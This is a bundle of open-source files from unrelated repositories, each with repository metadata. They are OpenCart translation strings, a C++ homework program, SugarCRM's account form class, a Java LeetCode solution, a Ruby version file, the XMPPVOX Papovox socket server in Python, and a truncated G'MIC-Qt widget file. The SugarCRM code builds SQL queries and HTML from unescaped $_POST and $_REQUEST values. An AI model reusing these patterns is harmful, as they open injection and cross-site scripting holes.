$_['text_settle_amount'] = 'Settle amount'; $_['text_tax_amount'] = 'Tax amount'; $_['text_exchange'] = 'Exchange rate'; $_['text_payment_status'] = 'Payment status'; $_['text_pending_reason'] = 'Pending reason'; $_['text_reason_code'] = 'Reason code'; $_['text_protect_elig'] = 'Protection eligibility'; $_['text_protect_elig_type'] = 'Protection eligibility type'; $_['text_store_id'] = 'Store ID'; $_['text_terminal_id'] = 'Terminal ID'; $_['text_invoice_number'] = 'Invoice number'; $_['text_custom'] = 'Custom'; $_['text_note'] = 'Note'; $_['text_sales_tax'] = 'Sales tax'; $_['text_buyer_id'] = 'Buyer ID'; $_['text_close_date'] = 'Closing date'; $_['text_multi_item'] = 'Multi item'; $_['text_sub_amt'] = 'Subscription amount'; $_['text_sub_period'] = 'Subscription period';
opencartnorge/norwegian-opencart-translation
upload/admin/language/norwegian/payment/pp_express_view.php
PHP
gpl-3.0
3,808
/*********************************************************** * Programming Assignment 6 * Arrays program * Programmers: Mark Eatough and Stephen Williams * Course: CS 1600 * Created March 5, 2013 *This program takes values from a current array and a resistance, *array, and uses them to calculate a volts array. The Program *then prints the three arrays with appropriate headings. ***********************************************************/ #include<iostream> using namespace std; //create function prototype void calc_volts(double [], double [], double [], int); //main function int main() { const int capacity = 10; int k; double current[capacity] = {10.62, 14.89, 13.21, 16.55, 18.62, 9.47, 6.58, 18.32, 12.15, 3.98}; double resistance[capacity] = {4, 8.5, 6, 7.35, 9, 15.3, 3, 5.4, 2.9, 4.8}; double volts[capacity]; calc_volts(current, resistance, volts, capacity); cout << "Current \tResistence \tVolts " << endl; for(k = 0; k < capacity; k++) { cout << current[k] << "\t\t" << resistance[k] << "\t\t" << volts[k] << endl; } } //implementation of function to calculate volts void calc_volts(double res [], double cur [], double vol [], int cap) { int i; for(i = 0; i < cap; i++) { vol[i] = (cur[i] * res[i]); } }
meatough/Marks-Programs
CS 1600/Homework assignments/programming projects/Programming project 6/Programming Project 6.cpp
C++
gpl-3.0
1,313
<?php if(!defined('sugarEntry') || !sugarEntry) die('Not A Valid Entry Point'); /********************************************************************************* * SugarCRM is a customer relationship management program developed by * SugarCRM, Inc. Copyright (C) 2004 - 2009 SugarCRM Inc. * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License version 3 as published by the * Free Software Foundation with the addition of the following permission added * to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED WORK * IN WHICH THE COPYRIGHT IS OWNED BY SUGARCRM, SUGARCRM DISCLAIMS THE WARRANTY * OF NON INFRINGEMENT OF THIRD PARTY RIGHTS. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, see http://www.gnu.org/licenses or write to the Free * Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA * 02110-1301 USA. * * You can contact SugarCRM, Inc. headquarters at 10050 North Wolfe Road, * SW2-130, Cupertino, CA 95014, USA. or at email address contact@sugarcrm.com. * * The interactive user interfaces in modified source and object code versions * of this program must display Appropriate Legal Notices, as required under * Section 5 of the GNU General Public License version 3. * * In accordance with Section 7(b) of the GNU General Public License version 3, * these Appropriate Legal Notices must retain the display of the "Powered by * SugarCRM" logo. If the display of the logo is not reasonably feasible for * technical reasons, the Appropriate Legal Notices must display the words * "Powered by SugarCRM". ********************************************************************************/ /********************************************************************************* * Description: base form for account * Portions created by SugarCRM are Copyright (C) SugarCRM, Inc. * All Rights Reserved. * Contributor(s): ______________________________________.. ********************************************************************************/ class AccountFormBase{ function checkForDuplicates($prefix){ require_once('include/formbase.php'); $focus = new Account(); $query = ''; $baseQuery = 'select id, name, website, billing_address_city from accounts where deleted!=1 and '; if(!empty($_POST[$prefix.'name'])){ $query = $baseQuery ." name like '".$_POST[$prefix.'name']."%'"; } if(!empty($_POST[$prefix.'billing_address_city']) || !empty($_POST[$prefix.'shipping_address_city'])){ $temp_query = ''; if(!empty($_POST[$prefix.'billing_address_city'])){ if(empty($temp_query)){ $temp_query = " billing_address_city like '".$_POST[$prefix.'billing_address_city']."%'"; }else { $temp_query .= "or billing_address_city like '".$_POST[$prefix.'billing_address_city']."%'"; } } if(!empty($_POST[$prefix.'shipping_address_city'])){ if(empty($temp_query)){ $temp_query = " shipping_address_city like '".$_POST[$prefix.'shipping_address_city']."%'"; }else { $temp_query .= "or shipping_address_city like '".$_POST[$prefix.'shipping_address_city']."%'"; } } if(empty($query)){ $query .= $baseQuery; }else{ $query .= ' AND '; } $query .= ' ('. $temp_query . ' ) '; } if(!empty($query)){ $rows = array(); global $db; $result = $db->query($query); $i=-1; while(($row=$db->fetchByAssoc($result)) != null) { $i++; $rows[$i] = $row; } if ($i==-1) return null; return $rows; } return null; } function buildTableForm($rows, $mod='Accounts'){ if(!ACLController::checkAccess('Accounts', 'edit', true)){ return ''; } global $action; if(!empty($mod)){ global $current_language; $mod_strings = return_module_language($current_language, $mod); }else global $mod_strings; global $app_strings; $cols = sizeof($rows[0]) * 2 + 1; if ($action != 'ShowDuplicates') { $form = "<form action='index.php' method='post' id='dupAccounts' name='dupAccounts'><input type='hidden' name='selectedAccount' value=''>"; $form .= '<table width="100%"><tr><td>'.$mod_strings['MSG_DUPLICATE']. '</td></tr><tr><td height="20"></td></tr></table>'; unset($_POST['selectedAccount']); } else { $form = '<table width="100%"><tr><td>'.$mod_strings['MSG_SHOW_DUPLICATES']. '</td></tr><tr><td height="20"></td></tr></table>'; } $form .= get_form_header($mod_strings['LBL_DUPLICATE'], "", ''); $form .= "<table width='100%' cellpadding='0' cellspacing='0'> <tr> "; if ($action != 'ShowDuplicates') { $form .= "<th> &nbsp;</th>"; } require_once('include/formbase.php'); if(isset($_POST['return_action']) && $_POST['return_action'] == 'SubPanelViewer') { $_POST['return_action'] = 'DetailView'; } if(isset($_POST['return_action']) && $_POST['return_action'] == 'DetailView' && empty($_REQUEST['return_id'])) { unset($_POST['return_action']); } $form .= getPostToForm('/emailAddress(PrimaryFlag|OptOutFlag|InvalidFlag)?[0-9]*?$/', true); if(isset($rows[0])){ foreach ($rows[0] as $key=>$value){ if($key != 'id'){ $form .= "<th>". $mod_strings[$mod_strings['db_'.$key]]. "</th>"; }} $form .= "</tr>"; } $rowColor = 'oddListRowS1'; foreach($rows as $row){ $form .= "<tr class='$rowColor'>"; if ($action != 'ShowDuplicates') { $form .= "<td width='1%' nowrap><a href='#' onclick='document.dupAccounts.selectedAccount.value=\"${row['id']}\"; document.dupAccounts.submit(); '>[${app_strings['LBL_SELECT_BUTTON_LABEL']}]</a>&nbsp;&nbsp;</td>\n"; } foreach ($row as $key=>$value){ if($key != 'id'){ if(isset($_POST['popup']) && $_POST['popup']==true){ $form .= "<td scope='row'><a href='#' onclick=\"window.opener.location='index.php?module=Accounts&action=DetailView&record=${row['id']}'\">$value</a></td>\n"; } else $form .= "<td><a target='_blank' href='index.php?module=Accounts&action=DetailView&record=${row['id']}'>$value</a></td>\n"; }} if($rowColor == 'evenListRowS1'){ $rowColor = 'oddListRowS1'; }else{ $rowColor = 'evenListRowS1'; } $form .= "</tr>"; } $form .= "<tr><td colspan='$cols' class='blackline'></td></tr>"; // handle buttons if ($action == 'ShowDuplicates') { $return_action = 'ListView'; // cn: bug 6658 - hardcoded return action break popup -> create -> duplicate -> cancel $return_action = (isset($_REQUEST['return_action']) && !empty($_REQUEST['return_action'])) ? $_REQUEST['return_action'] : $return_action; $form .= "</table><br><input type='hidden' name='selectedAccount' id='selectedAccount' value=''><input title='${app_strings['LBL_SAVE_BUTTON_TITLE']}' accessKey='${app_strings['LBL_SAVE_BUTTON_KEY']}' class='button' onclick=\"this.form.action.value='Save';\" type='submit' name='button' value=' ${app_strings['LBL_SAVE_BUTTON_LABEL']} '>"; if (!empty($_REQUEST['return_module']) && !empty($_REQUEST['return_action']) && !empty($_REQUEST['return_id'])) $form .= "<input title='${app_strings['LBL_CANCEL_BUTTON_TITLE']}' accessKey='${app_strings['LBL_CANCEL_BUTTON_KEY']}' class='button' onclick=\"location.href='index.php?module=".$_REQUEST['return_module']."&action=".$_REQUEST['return_action']."&record=".$_REQUEST['return_id']."'\" type='button' name='button' value=' ${app_strings['LBL_CANCEL_BUTTON_LABEL']} '></form>"; else if (!empty($_POST['return_module']) && !empty($_POST['return_action'])) $form .= "<input title='${app_strings['LBL_CANCEL_BUTTON_TITLE']}' accessKey='${app_strings['LBL_CANCEL_BUTTON_KEY']}' class='button' onclick=\"location.href='index.php?module=".$_POST['return_module']."&action=". $_POST['return_action']."'\" type='button' name='button' value=' ${app_strings['LBL_CANCEL_BUTTON_LABEL']} '></form>"; else $form .= "<input title='${app_strings['LBL_CANCEL_BUTTON_TITLE']}' accessKey='${app_strings['LBL_CANCEL_BUTTON_KEY']}' class='button' onclick=\"location.href='index.php?module=Accounts&action=ListView'\" type='button' name='button' value=' ${app_strings['LBL_CANCEL_BUTTON_LABEL']} '></form>"; } else { $form .= "</table><BR><input type='submit' class='button' name='ContinueAccount' value='${mod_strings['LNK_NEW_ACCOUNT']}'></form>\n"; } return $form; } function getForm($prefix, $mod='', $form=''){ if(!ACLController::checkAccess('Accounts', 'edit', true)){ return ''; } if(!empty($mod)){ global $current_language; $mod_strings = return_module_language($current_language, $mod); }else global $mod_strings; global $app_strings; $lbl_save_button_title = $app_strings['LBL_SAVE_BUTTON_TITLE']; $lbl_save_button_key = $app_strings['LBL_SAVE_BUTTON_KEY']; $lbl_save_button_label = $app_strings['LBL_SAVE_BUTTON_LABEL']; $the_form = get_left_form_header($mod_strings['LBL_NEW_FORM_TITLE']); $the_form .= <<<EOQ <form name="${prefix}AccountSave" onSubmit="return check_form('${prefix}AccountSave');" method="POST" action="index.php"> <input type="hidden" name="${prefix}module" value="Accounts"> <input type="hidden" name="${prefix}action" value="Save"> EOQ; $the_form .= $this->getFormBody($prefix, $mod, $prefix."AccountSave"); $the_form .= <<<EOQ <p><input title="$lbl_save_button_title" accessKey="$lbl_save_button_key" class="button" type="submit" name="button" value=" $lbl_save_button_label " ></p> </form> EOQ; $the_form .= get_left_form_footer(); $the_form .= get_validate_record_js(); return $the_form; } function getFormBody($prefix,$mod='', $formname=''){ if(!ACLController::checkAccess('Accounts', 'edit', true)){ return ''; } global $mod_strings; $temp_strings = $mod_strings; if(!empty($mod)){ global $current_language; $mod_strings = return_module_language($current_language, $mod); } global $app_strings; global $current_user; $lbl_required_symbol = $app_strings['LBL_REQUIRED_SYMBOL']; $lbl_account_name = $mod_strings['LBL_ACCOUNT_NAME']; $lbl_phone = $mod_strings['LBL_PHONE']; $lbl_website = $mod_strings['LBL_WEBSITE']; $lbl_save_button_title = $app_strings['LBL_SAVE_BUTTON_TITLE']; $lbl_save_button_key = $app_strings['LBL_SAVE_BUTTON_KEY']; $lbl_save_button_label = $app_strings['LBL_SAVE_BUTTON_LABEL']; $user_id = $current_user->id; $form = <<<EOQ <p><input type="hidden" name="record" value=""> <input type="hidden" name="email1" value=""> <input type="hidden" name="email2" value=""> <input type="hidden" name="assigned_user_id" value='${user_id}'> <input type="hidden" name="action" value="Save"> EOQ; $form .= "$lbl_account_name&nbsp;<span class='required'>$lbl_required_symbol</span><br><input name='name' type='text' value=''><br>"; $form .= "$lbl_phone<br><input name='phone_office' type='text' value=''><br>"; $form .= "$lbl_website<br><input name='website' type='text' value='http://'><br>"; $form .='</p>'; $javascript = new javascript(); $javascript->setFormName($formname); $javascript->setSugarBean(new Account()); $javascript->addRequiredFields($prefix); $form .=$javascript->getScript(); $mod_strings = $temp_strings; return $form; } function getWideFormBody($prefix, $mod='',$formname='', $contact=''){ if(!ACLController::checkAccess('Accounts', 'edit', true)){ return ''; } if(empty($contact)){ $contact = new Contact(); } global $mod_strings; $temp_strings = $mod_strings; if(!empty($mod)){ global $current_language; $mod_strings = return_module_language($current_language, $mod); } global $app_strings; global $current_user; $account = new Account(); $lbl_required_symbol = $app_strings['LBL_REQUIRED_SYMBOL']; $lbl_account_name = $mod_strings['LBL_ACCOUNT_NAME']; $lbl_phone = $mod_strings['LBL_PHONE']; $lbl_website = $mod_strings['LBL_WEBSITE']; if (isset($contact->assigned_user_id)) { $user_id=$contact->assigned_user_id; } else { $user_id = $current_user->id; } //Retrieve Email address and set email1, email2 $sugarEmailAddress = new SugarEmailAddress(); $sugarEmailAddress->handleLegacyRetrieve($contact); if(!isset($contact->email1)){ $contact->email1 = ''; } if(!isset($contact->email2)){ $contact->email2 = ''; } if(!isset($contact->email_opt_out)){ $contact->email_opt_out = ''; } $form=""; $default_desc=""; if (!empty($contact->description)) { $default_desc=$contact->description; } $form .= <<<EOQ <input type="hidden" name="${prefix}record" value=""> <input type="hidden" name="${prefix}phone_fax" value="{$contact->phone_fax}"> <input type="hidden" name="${prefix}phone_other" value="{$contact->phone_other}"> <input type="hidden" name="${prefix}email1" value="{$contact->email1}"> <input type="hidden" name="${prefix}email2" value="{$contact->email2}"> <input type='hidden' name='${prefix}billing_address_street' value='{$contact->primary_address_street}'><input type='hidden' name='${prefix}billing_address_city' value='{$contact->primary_address_city}'><input type='hidden' name='${prefix}billing_address_state' value='{$contact->primary_address_state}'><input type='hidden' name='${prefix}billing_address_postalcode' value='{$contact->primary_address_postalcode}'><input type='hidden' name='${prefix}billing_address_country' value='{$contact->primary_address_country}'> <input type='hidden' name='${prefix}shipping_address_street' value='{$contact->primary_address_street}'><input type='hidden' name='${prefix}shipping_address_city' value='{$contact->primary_address_city}'><input type='hidden' name='${prefix}shipping_address_state' value='{$contact->primary_address_state}'><input type='hidden' name='${prefix}shipping_address_postalcode' value='{$contact->primary_address_postalcode}'><input type='hidden' name='${prefix}shipping_address_country' value='{$contact->primary_address_country}'> <input type="hidden" name="${prefix}assigned_user_id" value='${user_id}'> <input type='hidden' name='${prefix}do_not_call' value='{$contact->do_not_call}'> <input type='hidden' name='${prefix}email_opt_out' value='{$contact->email_opt_out}'> <table width='100%' border="0" cellpadding="0" cellspacing="0"> <tr> <td width="20%" nowrap scope="row">$lbl_account_name&nbsp;<span class="required">$lbl_required_symbol</span></td> <TD width="80%" nowrap scope="row">{$mod_strings['LBL_DESCRIPTION']}</TD> </tr> <tr> <td nowrap ><input name='{$prefix}name' type="text" value="$contact->account_name"></td> <TD rowspan="5" ><textarea name='{$prefix}description' rows='6' cols='50' >$default_desc</textarea></TD> </tr> <tr> <td nowrap scope="row">$lbl_phone</td> </tr> <tr> <td nowrap ><input name='{$prefix}phone_office' type="text" value="$contact->phone_work"></td> </tr> <tr> <td nowrap scope="row">$lbl_website</td> </tr> <tr> <td nowrap ><input name='{$prefix}website' type="text" value="http://"></td> </tr> EOQ; //carry forward custom lead fields common to accounts during Lead Conversion $tempAccount = new Account(); if (method_exists($contact, 'convertCustomFieldsForm')) $contact->convertCustomFieldsForm($form, $tempAccount, $prefix); unset($tempAccount); $form .= <<<EOQ </TABLE> EOQ; $javascript = new javascript(); $javascript->setFormName($formname); $javascript->setSugarBean(new Account()); $javascript->addRequiredFields($prefix); $form .=$javascript->getScript(); $mod_strings = $temp_strings; return $form; } function handleSave($prefix,$redirect=true, $useRequired=false){ require_once('include/formbase.php'); $focus = new Account(); if($useRequired && !checkRequired($prefix, array_keys($focus->required_fields))){ return null; } $focus = populateFromPost($prefix, $focus); if (isset($GLOBALS['check_notify'])) { $check_notify = $GLOBALS['check_notify']; } else { $check_notify = FALSE; } if (empty($_POST['record']) && empty($_POST['dup_checked'])) { $duplicateAccounts = $this->checkForDuplicates($prefix); if(isset($duplicateAccounts)){ $location='module=Accounts&action=ShowDuplicates'; $get = ''; //add all of the post fields to redirect get string foreach ($focus->column_fields as $field) { if (!empty($focus->$field)) { $get .= "&Accounts$field=".urlencode($focus->$field); } } foreach ($focus->additional_column_fields as $field) { if (!empty($focus->$field)) { $get .= "&Accounts$field=".urlencode($focus->$field); } } if($focus->hasCustomFields()) { foreach($focus->field_defs as $name=>$field) { if (!empty($field['source']) && $field['source'] == 'custom_fields') { $get .= "&Accounts$name=".urlencode($focus->$name); } } } $emailAddress = new SugarEmailAddress(); $get .= $emailAddress->getFormBaseURL($focus); //create list of suspected duplicate account id's in redirect get string $i=0; foreach ($duplicateAccounts as $account) { $get .= "&duplicate[$i]=".$account['id']; $i++; } //add return_module, return_action, and return_id to redirect get string $get .= '&return_module='; if(!empty($_POST['return_module'])) $get .= $_POST['return_module']; else $get .= 'Accounts'; $get .= '&return_action='; if(!empty($_POST['return_action'])) $get .= $_POST['return_action']; //else $get .= 'DetailView'; if(!empty($_POST['return_id'])) $get .= '&return_id='.$_POST['return_id']; if(!empty($_POST['popup'])) $get .= '&popup='.$_POST['popup']; if(!empty($_POST['create'])) $get .= '&create='.$_POST['create']; //echo $get; //die; //now redirect the post to modules/Accounts/ShowDuplicates.php if (!empty($_POST['is_ajax_call']) && $_POST['is_ajax_call'] == '1') { $json = getJSONobj(); echo $json->encode(array('status' => 'dupe', 'get' => $get)); } else { if(!empty($_POST['to_pdf'])) $location .= '&to_pdf='.$_POST['to_pdf']; $_SESSION['SHOW_DUPLICATES'] = $get; header("Location: index.php?$location"); } return null; } } if(!$focus->ACLAccess('Save')){ ACLController::displayNoAccess(true); sugar_cleanup(true); } $focus->save($check_notify); $return_id = $focus->id; $GLOBALS['log']->debug("Saved record with id of ".$return_id); if (!empty($_POST['is_ajax_call']) && $_POST['is_ajax_call'] == '1') { $json = getJSONobj(); echo $json->encode(array('status' => 'success', 'get' => '')); return null; } if(isset($_POST['popup']) && $_POST['popup'] == 'true') { $get = '&module='; if(!empty($_POST['return_module'])) $get .= $_POST['return_module']; else $get .= 'Accounts'; $get .= '&action='; if(!empty($_POST['return_action'])) $get .= $_POST['return_action']; else $get .= 'Popup'; if(!empty($_POST['return_id'])) $get .= '&return_id='.$_POST['return_id']; if(!empty($_POST['popup'])) $get .= '&popup='.$_POST['popup']; if(!empty($_POST['create'])) $get .= '&create='.$_POST['create']; if(!empty($_POST['to_pdf'])) $get .= '&to_pdf='.$_POST['to_pdf']; $get .= '&name=' . $focus->name; $get .= '&query=true'; header("Location: index.php?$get"); return; } if($redirect){ handleRedirect($return_id,'Accounts'); }else{ return $focus; } } } ?>
mitani/dashlet-subpanels
modules/Accounts/AccountFormBase.php
PHP
gpl-3.0
19,722
public class Solution { public int longestSubstring(String s, int k) { if(s.length() < k) return 0; int[] count = new int[26]; Arrays.fill(count, 0); for(int i = 0;i < s.length();++i) { count[(int)(s.charAt(i) - 'a')]++; } char c = '-'; for(int i = 0;i < 26;++i) { if(count[i] < k && count[i] != 0) { c = (char) (i + 'a'); break; } } if(c == '-') return s.length(); int index = -1; for(int i = 0;i < s.length();++i) { if(s.charAt(i) == c) { index = i; break; } } String left = s.substring(0, index); String right = s.substring(index + 1, s.length()); int l = 0; int r = 0; if(index >= k) { l = longestSubstring(s.substring(0, index), k); } if(s.length() - index - 1 >= k) { r = longestSubstring(s.substring(index + 1, s.length()), k); } if(l > r) return l; return r; } }
acgtun/leetcode
algorithms/java/Longest Substring with At Least K Repeating Characters.java
Java
gpl-3.0
1,120
module OLDRETS VERSION = "2.0.6" end
mccollek/ruby-rets
lib/old_rets/version.rb
Ruby
gpl-3.0
39
# -*- coding: utf-8 -*- # XMPPVOX: XMPP client for DOSVOX. # Copyright (C) 2012 Rodolfo Henrique Carvalho # # This file is part of XMPPVOX. # # XMPPVOX is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. u""" XMPPVOX - módulo servidor Este módulo implementa um servidor compatível com o protocolo usado pelo Papovox e Sítiovox. """ import socket import struct import textwrap import time import sys from cStringIO import StringIO from xmppvox import commands from xmppvox.strings import safe_unicode, get_string as S import logging log = logging.getLogger(__name__) # Constantes ------------------------------------------------------------------# # Todas as strings passadas para o Papovox devem ser codificadas usando a # codificação padrão do DOSVOX, ISO-8859-1, também conhecida como Latin-1. SYSTEM_ENCODING = 'ISO-8859-1' #------------------------------------------------------------------------------# class PapovoxLikeServer(object): u"""Um servidor compatível com o Papovox.""" DEFAULT_HOST = '127.0.0.1' # Escuta apenas conexões locais PORTA_PAPOVOX = 1963 #PORTA_URGENTE = 1964 #PORTA_NOMES = 1956 DADOTECLADO = 1 # texto da mensagem (sem tab, nem lf nem cr ao final) TAMANHO_DO_BUFFER = 4096 # Ver C:\winvox\Fontes\tradutor\DVINET.PAS TAMANHO_MAXIMO_MSG = 255 def __init__(self, host=None, port=None): u"""Cria servidor compatível com o Papovox.""" # Socket do servidor self.server_socket = None # Host/interface de escuta self.host = host or self.DEFAULT_HOST # Porta do servidor self.port = port or self.PORTA_PAPOVOX # Socket do cliente self.socket = None # Endereço do cliente self.addr = None # Apelido self.nickname = u"" def connect(self): u"""Conecta ao Papovox via socket. Retorna booleano indicando se a conexão foi bem-sucedida. Bloqueia aguardando Papovox conectar. Define atributos: self.server_socket self.socket self.addr self.nickname """ try: self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Reutilizar porta já aberta #self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.server_socket.bind((self.host, self.port)) self.server_socket.listen(1) log.debug(u"XMPPVOX servindo em %s:%s", self.host, self.port) # Conecta ao Papovox ----------------------------------------------# try: self._accept() except socket.error: return False #------------------------------------------------------------------# return True except socket.error, e: log.error(safe_unicode(e.message) or u" ".join(map(safe_unicode, e.args))) sys.exit(1) def _accept(self): ur"""Aceita uma conexão via socket com o Papovox. Ver 'C:\winvox\Fontes\PAPOVOX\PPLIGA.PAS' e 'C:\winvox\Fontes\SITIOVOX\SVPROC.PAS'. """ log.info(u"Aguardando Papovox conectar...") self.socket, self.addr = self.server_socket.accept() self.sendline(u"+OK - %s:%s conectado" % self.addr) self.nickname = self.recvline(self.TAMANHO_DO_BUFFER) self.sendline(u"+OK") # Espera Papovox estar pronto para receber mensagens. # # A espera é necessária pois se enviar mensagens logo em seguida o Papovox # as ignora, provavelmente relacionado a alguma temporização ou espera na # leitura de algum buffer ou estado da variável global 'conversando'. # O SítioVox aguarda 100ms (arquivo SVPROC.PAS). time.sleep(0.1) log.info(u"Conectado ao Papovox.") log.debug(u"Apelido: %s", self.nickname) def disconnect(self): u"""Desliga a conexão com o Papovox.""" log.debug(u"Encerrando conexão com o Papovox...") try: self.socket.shutdown(socket.SHUT_RDWR) self.socket.close() except socket.error, e: log.debug("Client socket: %s", safe_unicode(e)) try: self.server_socket.shutdown(socket.SHUT_RDWR) self.server_socket.close() except socket.error, e: log.debug("Server socket: %s", safe_unicode(e)) # Funções de integração com o cliente XMPP --------------------------------# def process(self, xmpp): u"""Processa mensagens do Papovox para a rede XMPP. Mensagens podem conter comandos para o XMPPVOX. Nota: esta função só termina caso ocorra algum erro ou a conexão com o Papovox seja perdida. """ try: while True: data = self.recvmessage() # Tenta executar algum comando contido na mensagem. if commands.process_command(xmpp, data, self): # Caso algum comando seja executado, sai do loop e passa # para a próxima mensagem. continue else: # Caso contrário, envia a mensagem para a rede XMPP. self.send_xmpp_message(xmpp, data) except socket.error, e: log.debug(safe_unicode(e)) finally: log.info(u"Conexão com o Papovox encerrada.") def show_online_contacts(self, xmpp): u"""Envia para o Papovox informação sobre contatos disponíveis.""" online_contacts_count = len(commands.enumerate_online_roster(xmpp)) if online_contacts_count == 0: online_contacts_count = "nenhum" contacts = u"contato disponível" elif online_contacts_count == 1: contacts = u"contato disponível" else: contacts = u"contatos disponíveis" self.sendmessage(S.ONLINE_CONTACTS_INFO.format(amount=online_contacts_count, contacts=contacts)) def send_xmpp_message(self, xmpp, mbody): u"""Envia mensagem XMPP para quem está conversando comigo.""" if xmpp.talking_to is not None: mto = xmpp.talking_to # Envia mensagem XMPP. xmpp.send_message(mto=mto, mbody=mbody, mtype='chat') # Repete a mensagem que estou enviando para ser falada pelo Papovox. self.send_chat_message(u"eu", mbody) # Avisa se o contato estiver offline. bare_jid = xmpp.get_bare_jid(mto) roster = xmpp.client_roster if bare_jid in roster and not roster[bare_jid].resources: name = xmpp.get_chatty_name(mto) self.sendmessage(S.WARN_MSG_TO_OFFLINE_USER.format(name=name)) else: mto = u"ninguém" self.sendmessage(S.WARN_MSG_TO_NOBODY) log.debug(u"-> %(mto)s: %(mbody)s", locals()) # Funções de envio de dados para o Papovox --------------------------------# def sendline(self, line): u"""Codifica e envia texto via socket pelo protocolo do Papovox. Uma quebra de linha é adicionada automaticamente ao fim da mensagem. Nota: esta função *não* deve ser usada para enviar mensagens. Use apenas para transmitir dados brutos de comunicação. """ log.debug(u"> %s", line) line = line.encode(SYSTEM_ENCODING, 'replace') self.socket.sendall("%s\r\n" % (line,)) def sendmessage(self, msg): u"""Codifica e envia uma mensagem via socket pelo protocolo do Papovox.""" log.debug(u">> %s", msg) msg = msg.encode(SYSTEM_ENCODING, 'replace') # Apesar de teoricamente o protocolo do Papovox suportar mensagens com até # 65535 (2^16 - 1) caracteres, na prática apenas os 255 primeiros são # exibidos, e os restantes acabam ignorados. # Portanto, é necessário quebrar mensagens grandes em várias menores. chunks = textwrap.wrap( text=msg, width=self.TAMANHO_MAXIMO_MSG, expand_tabs=False, replace_whitespace=False, drop_whitespace=False, ) def sendmsg(msg): self.socket.sendall("%s%s" % (struct.pack('<BH', self.DADOTECLADO, len(msg)), msg)) # Envia uma ou mais mensagens pelo socket map(sendmsg, chunks) def send_chat_message(self, sender, body, _state={}): u"""Formata e envia uma mensagem de bate-papo via socket. Use esta função para enviar uma mensagem para o Papovox sintetizar. """ # Tempo máximo entre duas mensagens para considerar que fazem parte da mesma # conversa, em segundos. TIMEOUT = 90 # Recupera estado. last_sender = _state.get('last_sender') last_timestamp = _state.get('last_timestamp', 0) # em segundos timestamp = time.time() timed_out = (time.time() - last_timestamp) > TIMEOUT if sender == last_sender and not timed_out: msg = S.MSG else: msg = S.MSG_FROM self.sendmessage(msg.format(**locals())) # Guarda estado para ser usado na próxima execução. _state['last_sender'] = sender _state['last_timestamp'] = timestamp def signal_error(self, msg): u"""Sinaliza erro para o Papovox e termina a conexão.""" # Avisa Papovox sobre o erro. self.sendmessage(msg) # Encerra conexão com o Papovox. self.disconnect() # Funções de recebimento de dados do Papovox ------------------------------# def recv(self, size): u"""Recebe dados via socket. Use esta função para receber do socket `size' bytes ou menos. Levanta uma exceção caso nenhum byte seja recebido. Nota: em geral, use esta função ao invés do método 'socket.recv'. Veja também a função 'recvall'. """ data = self.socket.recv(size) if not data and size: raise socket.error(u"Nenhum dado recebido do socket, conexão perdida.") return data def recvline(self, size): u"""Recebe uma linha via socket. A string é retornada em unicode e não contém \r nem \n. """ # Assume que apenas uma linha está disponível no socket. data = self.recv(size).rstrip('\r\n') data = data.decode(SYSTEM_ENCODING) if any(c in data for c in '\r\n'): log.warning("Mais que uma linha recebida!") return data def recvall(self, size): u"""Recebe dados exaustivamente via socket. Use esta função para receber do socket exatamente `size' bytes. Levanta uma exceção caso nenhum byte seja recebido. Nota: em geral, use esta função ou 'recv' ao invés do método 'socket.recv'. """ data = StringIO() while data.tell() < size: data.write(self.recv(size - data.tell())) data_str = data.getvalue() data.close() return data_str def recvmessage(self): u"""Recebe uma mensagem via socket pelo protocolo do Papovox. A mensagem é retornada em unicode. Se uma exceção não for levantada, esta função sempre retorna uma mensagem. """ # Tenta receber mensagem até obter sucesso. while True: datatype, datalen = struct.unpack('<BH', self.recvall(3)) # Recusa dados do Papovox que não sejam do tipo DADOTECLADO if datatype != self.DADOTECLADO: log.warning(u"Tipo de dado desconhecido: (%d).", datatype) continue # Ignora mensagens vazias if datalen == 0: log.debug(u"Mensagem vazia ignorada") continue # Recebe dados/mensagem do Papovox data = self.recvall(datalen) data = data.decode(SYSTEM_ENCODING) return data # FIXME Remover referências hard-coded para comandos e o prefixo de comando.
rhcarvalho/xmppvox
xmppvox/server.py
Python
gpl-3.0
12,781
/** -*- mode: c++ ; c-basic-offset: 2 -*- * * @file SeparatorParameter.cpp * * Copyright 2017 Sebastien Fourey * * This file is part of G'MIC-Qt, a generic plug-in for raster graphics * editors, offering hundreds of filters thanks to the underlying G'MIC * image processing framework. * * gmic_qt is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * gmic_qt is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with gmic_qt. If not, see <http://www.gnu.org/licenses/>. * */ #include "SeparatorParameter.h" #include "Common.h" #include <QFrame> #include <QSizePolicy> #include <QGridLayout> SeparatorParameter::SeparatorParameter(QObject *parent) : AbstractParameter(parent,false), _frame(0) { } SeparatorParameter::~SeparatorParameter() { delete _frame; } void SeparatorParameter::addTo(QWidget * widget, int row) { QGridLayout * grid = dynamic_cast<QGridLayout*>(widget->layout()); if (! grid) return; delete _frame; _frame = new QFrame(widget); QSizePolicy sizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); sizePolicy.setHorizontalStretch(0); sizePolicy.setVerticalStretch(0); sizePolicy.setHeightForWidth(_frame->sizePolicy().hasHeightForWidth()); _frame->setSizePolicy(sizePolicy); _frame->setFrameShape(QFrame::HLine); _frame->setFrameShadow(QFrame::Sunken); grid->addWidget(_frame,row,0,1,3); } QString SeparatorParameter::textValue() const 